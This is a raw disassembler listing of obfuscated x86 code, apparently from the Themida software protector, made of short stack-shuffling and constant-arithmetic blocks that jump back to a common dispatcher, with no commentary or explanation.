loc_584979: ; CODE XREF: sub_584787+B161j
mov esp, [esp+1Eh+var_20+2]
push 3CB5h
mov [esp+0], ebp
jmp loc_589040
; ---------------------------------------------------------------------------
loc_584989: ; CODE XREF: sub_584787+67ECj
and ecx, 69082C24h
shl ecx, 4
push esi
mov esi, 439B55E3h
sub ecx, esi
pop esi
or ecx, 1D7E4492h
inc ecx
sub ecx, 45D92796h
add eax, ecx
pop ecx
sub eax, ecx
sub eax, 7826450Ah
pop ecx
jmp loc_584473
; ---------------------------------------------------------------------------
loc_5849B8: ; DATA XREF: Themida_:00584344o
mov ax, word ptr [esp+1Ah+var_1C+2]
push ebp
push esp
push dword ptr [esp+0]
mov ebp, [esp+26h+var_26]
jmp loc_5872FE
; ---------------------------------------------------------------------------
loc_5849C9: ; CODE XREF: sub_584787+A5E4j
neg ebx
push 5644h
mov [esp+2Ah+var_2C+2], eax
mov eax, 39730494h
add eax, 0FC32B61h
sub ebx, eax
mov eax, [esp+2Ah+var_2C+2]
add esp, 4
jmp loc_584498
; ---------------------------------------------------------------------------
loc_5849ED: ; CODE XREF: sub_584787+44CFj
mov eax, 2C5A65F5h
or edi, eax
pop eax
jmp loc_5883A0
; ---------------------------------------------------------------------------
loc_5849FA: ; CODE XREF: sub_584787+10E1j
pop dword ptr [esp+0]
push esi
jmp loc_587B76
; ---------------------------------------------------------------------------
loc_584A03: ; CODE XREF: sub_584787+6727j
push ecx
push ebp
jmp loc_58613D
; ---------------------------------------------------------------------------
loc_584A0A: ; CODE XREF: sub_584787+23D8j
add edi, edx
jmp loc_588620
; ---------------------------------------------------------------------------
loc_584A11: ; CODE XREF: sub_584787+733Fj
imul ecx, eax
push ecx
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_584A1B: ; CODE XREF: sub_584787+59F1j
add edi, 2
xor edi, [esp+32h+var_34+2]
xor [esp+32h+var_34+2], edi
jmp loc_58F90F
; ---------------------------------------------------------------------------
loc_584A2C: ; DATA XREF: Themida_:005843B8o
mov cx, word ptr [esp+32h+var_34+2]
push 72AEh
jmp loc_58748D
; ---------------------------------------------------------------------------
loc_584A3A: ; CODE XREF: sub_584787+4950j
add esi, 49257D16h
jmp loc_58FB46
; ---------------------------------------------------------------------------
loc_584A45: ; CODE XREF: sub_584787+A0CBj
pop ecx
neg dl
mov bh, dl
jmp loc_58603D
; ---------------------------------------------------------------------------
loc_584A4F: ; CODE XREF: sub_584787+BE2Ej
add [esp+32h+var_34+2], 4
mov ebx, [esp+32h+var_34+2]
jmp loc_58477C
; ---------------------------------------------------------------------------
loc_584A5E: ; CODE XREF: sub_584787+ABA5j
push eax
mov eax, 5743A7Bh
sub ebx, eax
mov eax, [esp+36h+var_38+2]
jmp loc_589220
; ---------------------------------------------------------------------------
loc_584A6E: ; CODE XREF: sub_584787+58BEj
push eax
mov eax, 0
sub eax, ecx
jmp loc_58D9A7
; ---------------------------------------------------------------------------
loc_584A7B: ; CODE XREF: sub_584787+74ADj
add ecx, 4
add ecx, 2
xchg ecx, [esp+3Ah+var_3C+2]
mov esp, [esp+3Ah+var_3C+2]
bts word ptr [esp+3Ah+var_3C+2], ax
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_584A95: ; CODE XREF: sub_584787+775Cj
mov ebp, 2
push ebp
mov ebp, 7CBA5C60h
push edi
mov edi, 513A1D67h
neg edi
shr edi, 3
sub edi, 0E9F15D37h
add ebp, edi
pop edi
push 0DF2h
mov [esp+46h+var_46], edi
mov edi, 0FFFFFFFFh
add ebp, edi
mov edi, [esp+46h+var_46]
add esp, 4
neg ebp
jmp loc_58D5AF
; ---------------------------------------------------------------------------
loc_584AD0: ; DATA XREF: Themida_:00584288o
push ebx
jmp loc_58EE5D
; ---------------------------------------------------------------------------
loc_584AD6: ; CODE XREF: sub_584787+88BFj
dec ebp
xor ebp, 0A7BCB10Ch
jmp loc_58FF06
; ---------------------------------------------------------------------------
loc_584AE2: ; CODE XREF: sub_584787+9Ej
sub ebx, 152C21ACh
add ebx, ebp
jmp loc_585BD7
; ---------------------------------------------------------------------------
loc_584AEF: ; CODE XREF: sub_584787+4B40j
push esi
mov esi, esp
add esi, 4
jmp loc_5856E7
; ---------------------------------------------------------------------------
loc_584AFD: ; CODE XREF: sub_584787+B5A0j
add ecx, 619C72FEh
pop edi
xor ecx, [esp+14h+var_14]
xor [esp+14h+var_14], ecx
jmp loc_58B69E
; ---------------------------------------------------------------------------
loc_584B0F: ; CODE XREF: sub_584787+7272j
push esi
mov esi, 649D13C4h
mov eax, 0F6366AFh
add eax, 1
xor eax, 3DE10F7h
jmp loc_58F3EF
; ---------------------------------------------------------------------------
loc_584B29: ; CODE XREF: sub_584787+6640j
add ecx, 4
sub ecx, 4
xchg ecx, [esp+18h+var_18]
pop esp
mov [esp+14h+var_14], ebx
sub [esp+14h+var_14], 64614475h
jmp loc_587B27
; ---------------------------------------------------------------------------
loc_584B48: ; CODE XREF: sub_584787+79FDj
pop edx
pop esi
push 4F61h
mov [esp+10h+var_10], ecx
push esp
pop ecx
add ecx, 4
jmp loc_58C189
; ---------------------------------------------------------------------------
loc_584B5F: ; CODE XREF: sub_584787+2B6Cj
mov [esp+10h+var_10], edi
push ebp
push 5E645AA1h
push [esp+18h+var_18]
pop ebp
add esp, 4
sub ebp, 5E644AA1h
mov edi, ebp
jmp loc_58577A
; ---------------------------------------------------------------------------
loc_584B7C: ; CODE XREF: sub_584787+742Dj
mov ebp, 42FF381Ch
and edx, ebp
pop ebp
or edx, 695803B6h
neg edx
xor edx, 7E467B1Bh
push edi
mov edi, 7E224E7Eh
sub edx, edi
pop edi
and esi, edx
pop edx
xor esi, 64A52244h
shr esi, 4
xor esi, 3AB75693h
add ebx, esi
jmp loc_585418
; ---------------------------------------------------------------------------
loc_584BB4: ; CODE XREF: sub_584787+5DB2j
add ecx, 4
push ecx
push [esp+10h+var_C]
pop ecx
pop [esp+10h+var_10]
mov esp, [esp+0Ch+var_C]
jmp loc_58D46A
; ---------------------------------------------------------------------------
loc_584BCB: ; CODE XREF: sub_584787+AC0Dj
xchg ebx, [esp+0Ch+var_C]
pop esp
jmp loc_58A391
; ---------------------------------------------------------------------------
loc_584BD4: ; CODE XREF: sub_584787+A099j
pop ebx
add esp, 4
pop ecx
jmp loc_584473
; ---------------------------------------------------------------------------
loc_584BDE: ; CODE XREF: sub_584787+7CE4j
not ecx
jmp loc_589A2D
; ---------------------------------------------------------------------------
loc_584BE5: ; CODE XREF: sub_584787+939Dj
pop ebp
jmp loc_586717
; ---------------------------------------------------------------------------
loc_584BEB: ; CODE XREF: sub_584787+2EA6j
sub esp, 2
mov word ptr [esp-4+arg_0], bx
push ecx
mov ch, 0A0h
mov bh, ch
pop ecx
sub dl, bh
mov bx, word ptr [esp-4+arg_0]
add esp, 2
xor al, dl
mov edx, [esp-8+arg_4]
jmp loc_58B294
; ---------------------------------------------------------------------------
loc_584C11: ; CODE XREF: sub_584787+5A20j
push esi
mov esi, 3C522358h
jmp loc_589A9C
; ---------------------------------------------------------------------------
loc_584C1C: ; CODE XREF: sub_584787+8988j
add esp, 4
pop [esp-8+arg_4]
mov esp, [esp-0Ch+arg_8]
jmp loc_58B8FE
; ---------------------------------------------------------------------------
loc_584C2D: ; CODE XREF: sub_584787+2412j
push edi
mov edi, 2946510Ah
shl edi, 2
and edi, 5F0C1471h
inc edi
neg edi
not edi
add edi, 6AE93C34h
mov ebx, edi
pop edi
add ebx, 900EBFE8h
add ebx, 3D8205A9h
add ebx, edi
jmp loc_584F31
; ---------------------------------------------------------------------------
loc_584C5D: ; CODE XREF: sub_584787+1B0Cj
mov ecx, 0
add ecx, ebx
mov [ecx], dl
mov ecx, [esp-0Ch+arg_8]
add esp, 4
mov ebx, [esp+0]
push 0E6Ch
mov [esp-0Ch+arg_8], eax
mov eax, esp
jmp loc_5906A0
; ---------------------------------------------------------------------------
loc_584C7E: ; CODE XREF: sub_584787-27Ej
shl edx, 1
jmp loc_58B3FD
; ---------------------------------------------------------------------------
loc_584C85: ; CODE XREF: sub_584787+9072j
push edi
push 28504DC9h
mov edi, [esp+8+var_8]
jmp loc_58A634
; ---------------------------------------------------------------------------
loc_584C93: ; CODE XREF: sub_584787+A6C6j
mov esp, [esp+8+var_8]
add byte ptr [esp+8+var_8], al
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_584C9F: ; CODE XREF: sub_584787+B843j
pop edx
sub edx, 79E7C3FCh
sub edx, 7ADF0654h
jmp loc_58FA09
; ---------------------------------------------------------------------------
loc_584CB1: ; CODE XREF: sub_584787+2DC0j
mov esi, [esp+8+var_8]
add esp, 4
sub ecx, 4B896379h
add ecx, 0B4F1149h
not ecx
not ecx
push 66A3h
mov [esp+8+var_8], edi
jmp loc_5884E9
; ---------------------------------------------------------------------------
loc_584CD7: ; CODE XREF: sub_584787+3CDBj
or edi, 1E465087h
jmp loc_585545
; ---------------------------------------------------------------------------
loc_584CE2: ; CODE XREF: sub_584787+1728j
add al, bh
push [esp+8+var_8]
jmp loc_584544
; ---------------------------------------------------------------------------
loc_584CEC: ; CODE XREF: sub_584787+B075j
sub esi, 4
xchg esi, [esp+0Ch+var_C]
pop esp
jmp loc_58CF07
; ---------------------------------------------------------------------------
loc_584CF8: ; CODE XREF: sub_584787+96C1j
mov ecx, 7E576906h
dec ecx
jmp loc_58ADF2
; ---------------------------------------------------------------------------
loc_584D03: ; CODE XREF: sub_584787+6476j
push esp
pop ebx
add ebx, 4
sub ebx, 4
jmp loc_5845EA
; ---------------------------------------------------------------------------
loc_584D16: ; CODE XREF: sub_584787+243Ej
mul cl
movzx cx, ah
jmp loc_58C24A
; ---------------------------------------------------------------------------
loc_584D21: ; CODE XREF: sub_584787+5EE5j
push 0
sub [esp+0Ch+var_C], esi
pop esi
jmp loc_588BBC
; ---------------------------------------------------------------------------
loc_584D2F: ; CODE XREF: sub_584787+2CDEj
add dh, bh
jmp loc_589C2E
; ---------------------------------------------------------------------------
loc_584D36: ; CODE XREF: sub_584787+135Ej
xor ebx, eax
jmp loc_58536D
; ---------------------------------------------------------------------------
loc_584D3D: ; CODE XREF: sub_584787+3EBBj
add esp, 4
push ecx
push [esp+8+var_4]
jmp loc_584899
; ---------------------------------------------------------------------------
loc_584D4D: ; CODE XREF: sub_584787+4DDEj
xchg edi, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
push 41D7h
mov [esp+10h+var_10], esi
mov esi, esp
push ecx
jmp loc_5899B1
; ---------------------------------------------------------------------------
loc_584D63: ; CODE XREF: sub_584787+BA71j
pop esp
mov [esp+10h+var_10], ebx
push esp
pop ebx
sub esp, 4
mov [esp+14h+var_14], esi
jmp loc_585373
; ---------------------------------------------------------------------------
loc_584D77: ; CODE XREF: sub_584787+786Bj
push dword ptr [edi+eax*4]
sub esp, 4
mov [esp+1Ch+var_1C], eax
jmp loc_586467
; ---------------------------------------------------------------------------
loc_584D88: ; CODE XREF: sub_584787+373Fj
xor ecx, eax
pop eax
add ebp, ecx
mov ecx, [esp+18h+var_18]
add esp, 4
jmp loc_584ED0
; ---------------------------------------------------------------------------
loc_584D9B: ; CODE XREF: sub_584787+F27j
add esi, ebx
pop ebx
xchg esi, [esp+10h+var_10]
pop esp
push 57A9h
mov [esp+10h+var_10], ebp
jmp loc_588323
; ---------------------------------------------------------------------------
loc_584DAF: ; CODE XREF: sub_584787+4186j
mov ecx, [esp+10h+var_10]
add esp, 4
jmp loc_587D1F
; ---------------------------------------------------------------------------
loc_584DBD: ; CODE XREF: sub_584787+6D55j
push esp
jmp loc_58AD8B
; ---------------------------------------------------------------------------
loc_584DC3: ; CODE XREF: sub_584787+2677j
add ebx, 1ACB6366h
jmp loc_58BA92
; ---------------------------------------------------------------------------
loc_584DCE: ; CODE XREF: sub_584787+388Dj
xor bl, 9Dh
sub al, bl
pop ebx
add al, bl
add al, 0CDh
push ecx
jmp loc_587C55
; ---------------------------------------------------------------------------
loc_584DDE: ; DATA XREF: Themida_:00584370o
lodsb
jmp loc_58AB19
; ---------------------------------------------------------------------------
loc_584DE4: ; CODE XREF: sub_584787+3FC5j
mov ebx, 65E01A45h
add esi, ebx
mov ebx, [esp+10h+var_10]
add esp, 4
jmp loc_58673B
; ---------------------------------------------------------------------------
loc_584DF9: ; CODE XREF: Themida_:0058459Cj
mov eax, [esp+0Ch+var_C]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+10h+var_10]
pop esp
sub esp, 4
mov [esp+10h+var_10], ebp
mov ebp, esp
push esi
jmp loc_58F53B
; ---------------------------------------------------------------------------
loc_584E1B: ; CODE XREF: sub_584787+342Dj
add ecx, 65B13017h
jmp loc_585CDE
; ---------------------------------------------------------------------------
loc_584E26: ; CODE XREF: sub_584787+4C26j
mov [esp+14h+var_14], ebx
mov ebx, esp
push edi
mov edi, 692F60BDh
push ebp
mov ebp, 2003AF6h
xchg ecx, ebp
push ecx
not [esp+20h+var_20]
jmp loc_586F31
; ---------------------------------------------------------------------------
loc_584E42: ; CODE XREF: sub_584787+43A2j
not al
jmp loc_58B21C
; ---------------------------------------------------------------------------
loc_584E49: ; CODE XREF: sub_584787+4B5Aj
mov eax, 4D4C793Dh
sub eax, 0FFFFFFFFh
xor eax, 76E04474h
push edx
mov edx, 486E4E32h
add eax, edx
jmp loc_58DD7B
; ---------------------------------------------------------------------------
loc_584E65: ; CODE XREF: sub_584787+4449j
push esi
push eax
jmp loc_5856B3
; ---------------------------------------------------------------------------
loc_584E6C: ; DATA XREF: Themida_:00584384o
push esi
push ecx
push 4B895ED2h
pop ecx
xor ecx, 12426C77h
push 891h
mov [esp+38h+var_38], edi
sub esp, 4
mov [esp+3Ch+var_3C], ebx
mov ebx, 401C5CC6h
shr ebx, 1
and ebx, 73C53342h
shl ebx, 2
shl ebx, 7
sub ebx, 1
sub ebx, 0B1AF7030h
mov edi, ebx
pop ebx
sub ecx, edi
mov edi, [esp+38h+var_38]
push ecx
jmp loc_58A1F0
; ---------------------------------------------------------------------------
loc_584EB5: ; CODE XREF: sub_584787+6AEEj
sub ebx, 4F933AE0h
jmp loc_587C67
; ---------------------------------------------------------------------------
loc_584EC0: ; CODE XREF: sub_584787+7E23j
push esi
jmp loc_586376
; ---------------------------------------------------------------------------
loc_584EC6: ; CODE XREF: sub_584787+FD4j
mov ebp, 1E670CD3h
jmp loc_589D91
; ---------------------------------------------------------------------------
loc_584ED0: ; CODE XREF: sub_584787+60Fj
sub ebp, 4
xor ebp, [esp+14h+var_14]
xor [esp+14h+var_14], ebp
xor ebp, [esp+14h+var_14]
pop esp
mov [esp+10h+var_10], edx
mov dh, 0A8h
add al, dh
jmp loc_58EE8C
; ---------------------------------------------------------------------------
loc_584EEC: ; CODE XREF: sub_584787+5D8Fj
add ebp, 56BF0B6Ah
neg ebp
add ebp, 0C5618743h
jmp loc_589EED
; ---------------------------------------------------------------------------
loc_584EFF: ; CODE XREF: sub_584787+5421j
xor edi, 4EC414D5h
push eax
push edx
mov edx, 0CE62705Eh
jmp loc_58A9B7
; ---------------------------------------------------------------------------
loc_584F11: ; CODE XREF: sub_584787+A47Ej
xor edi, [esp+18h+var_18]
xor [esp+18h+var_18], edi
xor edi, [esp+18h+var_18]
mov esp, [esp+18h+var_18]
sub ebx, 6F3F7360h
push 16CCh
mov [esp+1Ch+var_1C], esi
push ebx
jmp loc_58FCB4
; ---------------------------------------------------------------------------
loc_584F31: ; CODE XREF: sub_584787+4D1j
sub esp, 4
mov [esp-8+arg_4], esi
jmp loc_58490D
; ---------------------------------------------------------------------------
loc_584F3C: ; CODE XREF: sub_584787+2A66j
xchg ecx, [esp-8+arg_4]
jmp loc_58B5AC
; ---------------------------------------------------------------------------
loc_584F44: ; CODE XREF: sub_584787+28C8j
add ebx, ecx
pop ecx
push edx
push ebx
mov ebx, 2
jmp loc_58C5AF
; ---------------------------------------------------------------------------
loc_584F53: ; CODE XREF: sub_584787+6191j
pop esp
jmp loc_58B061
; ---------------------------------------------------------------------------
loc_584F59: ; CODE XREF: sub_584787+3906j
inc edx
shl edx, 2
jmp loc_5866DD
; ---------------------------------------------------------------------------
loc_584F62: ; CODE XREF: sub_584787+49F1j
mov esp, [esp-8+arg_4]
shr byte ptr [esp-8+arg_4], cl
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_584F6E: ; CODE XREF: sub_584787+29A8j
push 2275h
mov [esp+0], ebx
sub esp, 4
mov [esp+4+var_4], ecx
mov ecx, 2A137C62h
mov ebx, ecx
pop ecx
push ecx
push 6577224Fh
pop ecx
sub ecx, 36F1014Fh
xchg esi, ecx
inc esi
xchg esi, ecx
not ecx
push 0A1Ch
mov [esp+8+var_8], edx
jmp loc_586E22
; ---------------------------------------------------------------------------
loc_584FA8: ; CODE XREF: sub_584787-1DCj
xchg ecx, [esp+0]
jmp loc_58E274
; ---------------------------------------------------------------------------
loc_584FB0: ; CODE XREF: sub_584787+B2C9j
add eax, 4D2E2F68h
pop ecx
push edx
push ebp
jmp loc_589228
; ---------------------------------------------------------------------------
loc_584FBD: ; DATA XREF: Themida_:005842A0o
lodsd
xor eax, ebx
sub esp, 4
mov [esp+8+var_8], ecx
mov ecx, 61735AFCh
not ecx
dec ecx
shl ecx, 7
push ebp
push 74BDh
mov [esp+10h+var_10], ecx
push edx
mov edx, 1D721AF3h
mov ecx, 7D4158D7h
xor ecx, edx
pop edx
jmp loc_590109
; ---------------------------------------------------------------------------
loc_584FF0: ; CODE XREF: sub_584787+8C61j
pop eax
push ecx
jmp loc_5885EC
; ---------------------------------------------------------------------------
loc_584FF7: ; CODE XREF: sub_584787+35D3j
sub esp, 4
mov [esp+14h+var_14], ecx
mov ch, 0F7h
not ch
shr ch, 8
or ch, 19h
jmp loc_588C33
; ---------------------------------------------------------------------------
loc_58500C: ; DATA XREF: Themida_:005841CCo
lodsb
push edx
sub esp, 4
mov [esp+1Ch+var_1C], ebx
jmp loc_5890B1
; ---------------------------------------------------------------------------
loc_585019: ; CODE XREF: sub_584787+B12Bj
pop eax
add esi, edx
pop edx
push ecx
jmp loc_58E091
; ---------------------------------------------------------------------------
loc_585023: ; CODE XREF: sub_5846A4+17j
push 36BCh
mov [esp+1Ch+var_1C], esp
add [esp+1Ch+var_1C], 4
mov esi, [esp+1Ch+var_1C]
add esp, 4
sub esp, 4
mov [esp+1Ch+var_1C], eax
mov eax, 4
add esi, eax
jmp loc_58C5F8
; ---------------------------------------------------------------------------
loc_58504A: ; CODE XREF: sub_584787+7AB7j
xor edi, [esp+1Ch+var_1C]
mov esp, [esp+1Ch+var_1C]
mov cx, word ptr [esp+1Ch+var_1C]
push 2ACAh
mov [esp+20h+var_20], ecx
jmp loc_585CAD
; ---------------------------------------------------------------------------
loc_585061: ; CODE XREF: sub_584787+C86j
sub ebx, 4E9B0DE8h
jmp loc_586137
; ---------------------------------------------------------------------------
loc_58506C: ; CODE XREF: sub_584787+38ABj
xchg eax, [esp+20h+var_20]
mov esp, [esp+20h+var_20]
sub esp, 4
mov [esp+24h+var_26+2], ecx
push ebx
push 3F96h
mov [esp+2Ch+var_2C], edi
mov edi, 7F393B36h
sub edi, 0FFFFFFFFh
jmp loc_58B23A
; ---------------------------------------------------------------------------
loc_585091: ; CODE XREF: sub_584787+3AFFj
mov [esp+2Ch+var_2C], eax
jmp loc_58E51F
; ---------------------------------------------------------------------------
loc_585099: ; CODE XREF: sub_584787+73C7j
push ebp
jmp loc_587833
; ---------------------------------------------------------------------------
loc_58509F: ; CODE XREF: sub_584787+2278j
pop ecx
sub al, 0F2h
add al, bl
push ebx
push ecx
jmp loc_58A30C
; ---------------------------------------------------------------------------
loc_5850AB: ; CODE XREF: sub_584787+A456j
mov [esp+34h+var_34], ecx
mov ecx, 4438789Ah
push edi
push edx
mov edx, 2BDC4BB8h
push edx
pop edi
pop edx
add ebx, edi
pop edi
add ebx, ecx
push esi
mov esi, 21E56DFAh
inc esi
xor esi, 417B734Fh
xor esi, 4B42550Ch
add ebx, 578F4303h
sub ebx, esi
sub ebx, 578F4303h
pop esi
jmp loc_58C689
; ---------------------------------------------------------------------------
loc_5850E9: ; CODE XREF: sub_584787+717Bj
jmp loc_584473
; ---------------------------------------------------------------------------
loc_5850EE: ; CODE XREF: sub_584787+98F3j
push ecx
mov ecx, 3F704DDFh
push ebp
mov ebp, 3AD15493h
neg ebp
shr ebp, 7
and ebp, 6A935E37h
or ebp, 60264AB2h
jmp loc_58FD77
; ---------------------------------------------------------------------------
loc_585110: ; CODE XREF: sub_584787+C56j
xor esi, edi
pop edi
sub esi, 0BB752414h
xor ebx, esi
pop esi
add esi, 4BF64D95h
add esi, ebx
sub esi, 4BF64D95h
pop ebx
xor esi, [esp+30h+var_30]
jmp loc_587780
; ---------------------------------------------------------------------------
loc_585133: ; CODE XREF: sub_584787+66DDj
pop esp
add eax, edx
sub eax, 477B76h
pop edx
push edi
mov edi, 39346E10h
push edi
xchg eax, [esp+30h+var_30]
not eax
xchg eax, [esp+30h+var_30]
jmp loc_58A33B
; ---------------------------------------------------------------------------
loc_585150: ; CODE XREF: Themida_:00590244j
pop ecx
push 15F8h
mov [esp+30h+var_30], edi
mov edi, esp
add edi, 4
push esi
jmp loc_5893BB
; ---------------------------------------------------------------------------
loc_585167: ; CODE XREF: sub_584787+486Cj
push ebx
mov ebx, 0E8C4BABh
dec ebx
jmp loc_58900A
; ---------------------------------------------------------------------------
loc_585173: ; CODE XREF: sub_584787+6A1Fj
push 0E9025F6h
pop ebx
and ebx, 2BB30AB4h
push ebp
mov ebp, 0A8449E8h
jmp loc_590550
; ---------------------------------------------------------------------------
loc_58518A: ; CODE XREF: sub_584787+A9E0j
mov edx, 5DC26B2Bh
add edx, 0A23D94D7h
mov ebp, edx
pop edx
add esi, ebp
mov ebp, [esp+38h+var_38]
add esp, 4
xchg esi, [esp+34h+var_34]
mov esp, [esp+34h+var_34]
push ebx
push ecx
jmp loc_5894C2
; ---------------------------------------------------------------------------
loc_5851B0: ; CODE XREF: sub_584787+2573j
xor dl, al
pop ax
sub bl, dl
mov edx, [esp+3Ah+var_3C+2]
add esp, 4
movzx eax, al
push dword ptr [edi+eax*4]
push eax
push ebp
push esi
push 4F3530DDh
jmp loc_58C1E1
; ---------------------------------------------------------------------------
loc_5851CF: ; CODE XREF: sub_584787+9382j
add ecx, edi
pop edi
push ecx
push [esp+4Ah+var_46]
mov ecx, [esp+4Eh+var_4E]
add esp, 4
pop dword ptr [esp+0]
jmp loc_587E48
; ---------------------------------------------------------------------------
loc_5851E5: ; CODE XREF: sub_584787+7A94j
push eax
mov ah, 0C7h
jmp loc_58DC16
; ---------------------------------------------------------------------------
loc_5851ED: ; CODE XREF: sub_584787+B86j
push esi
mov esi, 55C6399Fh
mov ebp, 6C2E0CF5h
jmp loc_58ED42
; ---------------------------------------------------------------------------
loc_5851FD: ; CODE XREF: sub_584787+3A21j
inc ebx
jmp loc_5875A4
; ---------------------------------------------------------------------------
loc_585203: ; CODE XREF: sub_584787+6F42j
or ecx, 64FB79FDh
jmp loc_58C692
; ---------------------------------------------------------------------------
loc_58520E: ; CODE XREF: sub_584787+B3ACj
pop [esp+4Eh+var_4E]
mov esp, [esp+0]
jmp loc_58C5EF
; ---------------------------------------------------------------------------
loc_585219: ; CODE XREF: sub_584787+6CCAj
pop ebx
push esi
push ecx
jmp loc_58B6C4
; ---------------------------------------------------------------------------
loc_585221: ; CODE XREF: sub_584787+6994j
mov [esp+4Eh+var_4E], eax
xor [esp+4Eh+var_4E], ebx
xor ebx, [esp+4Eh+var_4E]
jmp loc_58D617
; ---------------------------------------------------------------------------
loc_58522F: ; CODE XREF: sub_584787+4E23j
add bl, 72h
add bl, 0FFh
xor bl, 3Fh
add al, 71h
sub al, 0A3h
jmp loc_58BFCA
; ---------------------------------------------------------------------------
loc_585241: ; CODE XREF: sub_584787+2961j
xchg esi, [esp+4Eh+var_4E]
pop ecx
add ecx, 3E442E9Dh
add esi, ecx
pop ecx
add esi, 4
xchg esi, [esp+46h+var_46]
pop esp
push [esp+42h+var_42]
mov ecx, [esp+46h+var_46]
add esp, 4
push ebx
jmp loc_58B258
; ---------------------------------------------------------------------------
loc_58526A: ; CODE XREF: sub_584787+3DE3j
mov ebp, 5AFC2D20h
sub ebp, 442128E0h
jmp loc_589F72
; ---------------------------------------------------------------------------
loc_58527A: ; CODE XREF: sub_584787+72EAj
mov edx, esp
add edx, 4
sub esp, 4
mov [esp+0], eax
jmp loc_58BB73
; ---------------------------------------------------------------------------
loc_585290: ; CODE XREF: sub_584787+701Ej
add ax, 7255h
add ax, bx
sub ax, 7255h
jmp loc_58B511
; ---------------------------------------------------------------------------
loc_5852A0: ; CODE XREF: sub_584787+588Cj
dec eax
and eax, 2FAE139Dh
inc eax
or eax, 10B277F6h
sub eax, 10B677F5h
jmp loc_586B9E
; ---------------------------------------------------------------------------
loc_5852B6: ; CODE XREF: sub_584787+9513j
neg ebx
jmp loc_585BF3
; ---------------------------------------------------------------------------
loc_5852BD: ; CODE XREF: sub_584787+139Bj
add ebp, 0B53AF79Ch
sub ecx, 7F2F5179h
add ecx, ebp
add ecx, 7F2F5179h
mov ebp, [esp+0]
add esp, 4
push ecx
jmp loc_587CC8
; ---------------------------------------------------------------------------
loc_5852E0: ; CODE XREF: sub_584787+ABB9j
add bx, dx
jmp loc_58E842
; ---------------------------------------------------------------------------
loc_5852E8: ; CODE XREF: sub_584787+9185j
jmp loc_584473
; ---------------------------------------------------------------------------
loc_5852ED: ; CODE XREF: sub_584787+7A81j
push ebx
mov ebx, 4
sub edi, ebx
pop ebx
xchg edi, [esp+0]
pop esp
mov [esp+46h+var_46], edx
sub esp, 4
mov [esp+0], eax
push ecx
sub esp, 4
mov [esp+52h+var_54+2], ebp
jmp loc_5851ED
; ---------------------------------------------------------------------------
loc_585312: ; CODE XREF: sub_584787+9761j
mov [esp+52h+var_54+2], ecx
jmp loc_58623D
; ---------------------------------------------------------------------------
loc_58531A: ; CODE XREF: sub_584787+73D0j
mov edi, esp
add edi, 4
jmp loc_58822D
; ---------------------------------------------------------------------------
loc_585327: ; CODE XREF: sub_584787+9CF7j
add esi, 72D84181h
add esi, eax
jmp loc_5896BB
; ---------------------------------------------------------------------------
loc_585334: ; CODE XREF: sub_584787+5323j
add esi, 8A446B03h
sub ebx, 57AA5C8Fh
add ebx, esi
add ebx, 57AA5C8Fh
jmp loc_58C304
; ---------------------------------------------------------------------------
loc_58534D: ; CODE XREF: sub_584787+9282j
sub [esp+52h+var_4E], eax
pop eax
push 2A79h
jmp loc_587E8C
; ---------------------------------------------------------------------------
loc_58535C: ; CODE XREF: sub_584787+9370j
shr edi, 3
xor edi, 13A65EBCh
xor ecx, edi
pop edi
jmp loc_58D87D
; ---------------------------------------------------------------------------
loc_58536D: ; CODE XREF: sub_584787+5B1j
push ebp
jmp loc_58D664
; ---------------------------------------------------------------------------
loc_585373: ; CODE XREF: sub_584787+5EBj
mov esi, 4
add ebx, esi
jmp loc_58872B
; ---------------------------------------------------------------------------
loc_58537F: ; CODE XREF: sub_584787+AC91j
pop ecx
sub dh, 0DAh
not dh
or dh, 6Fh
add dh, 55h
jmp loc_586C04
; ---------------------------------------------------------------------------
loc_585390: ; CODE XREF: sub_584787+8FDEj
and edx, 301D4535h
shl edx, 2
push edi
mov edi, 58A6D070h
sub edx, edi
pop edi
sub ebx, edx
pop edx
and ebx, 90E5194h
xor ebx, 255725E5h
add ebx, 0F332EF85h
jmp loc_587D9D
; ---------------------------------------------------------------------------
loc_5853BC: ; CODE XREF: sub_584787+B63Aj
shl edx, 2
push ebx
push ebp
jmp loc_587BB9
; ---------------------------------------------------------------------------
loc_5853C6: ; CODE XREF: sub_584787+5FBBj
shl ebx, 2
push ecx
mov ecx, 17106878h
jmp loc_58C8CB
; ---------------------------------------------------------------------------
loc_5853D4: ; CODE XREF: sub_584787+A5A9j
add edi, ebp
pop ebp
sub edi, 8D82223Ah
jmp loc_585110
; ---------------------------------------------------------------------------
loc_5853E2: ; CODE XREF: sub_584787+131j
add esp, 4
push 2514h
mov [esp+18h+var_18], ebp
jmp loc_5884C1
; ---------------------------------------------------------------------------
loc_5853F2: ; CODE XREF: sub_584787+6666j
mov ebx, 0FA41101Fh
add ebx, esi
jmp loc_58FB38
; ---------------------------------------------------------------------------
loc_5853FE: ; CODE XREF: sub_584787+16F2j
sub ebx, 7E9C1711h
pop ecx
add ebx, 4E9B0DE8h
add ebx, ecx
jmp loc_585061
; ---------------------------------------------------------------------------
loc_585412: ; CODE XREF: sub_584787+A6D1j
pop esp
jmp loc_58EA67
; ---------------------------------------------------------------------------
loc_585418: ; CODE XREF: sub_584787+428j
pop esi
sub ebx, eax
push edx
mov edx, 38F906B3h
sub ebx, edx
pop edx
push 26Fh
mov [esp+0Ch+var_C], esi
push ecx
mov ecx, 13FB0100h
add ecx, 1F3140CFh
inc ecx
add ecx, 419C5543h
jmp loc_58B27A
; ---------------------------------------------------------------------------
loc_585444: ; CODE XREF: sub_584787+87FEj
push edi
mov edi, 6BC62DFAh
jmp loc_589BCF
; ---------------------------------------------------------------------------
loc_58544F: ; CODE XREF: sub_584787+12A3j
push [esp+14h+var_14]
mov edx, [esp+18h+var_18]
add esp, 4
push 50F2h
mov [esp+18h+var_18], edi
mov edi, esp
push ebx
mov ebx, 4
jmp loc_58B92E
; ---------------------------------------------------------------------------
loc_58546D: ; CODE XREF: sub_584787+7D04j
sub esp, 4
mov [esp+20h+var_20], edx
push ecx
push edx
mov dl, 0F4h
mov cl, dl
pop edx
push eax
push ebx
mov bh, cl
mov ah, bh
pop ebx
push ecx
mov cl, ah
mov dl, cl
jmp loc_58B831
; ---------------------------------------------------------------------------
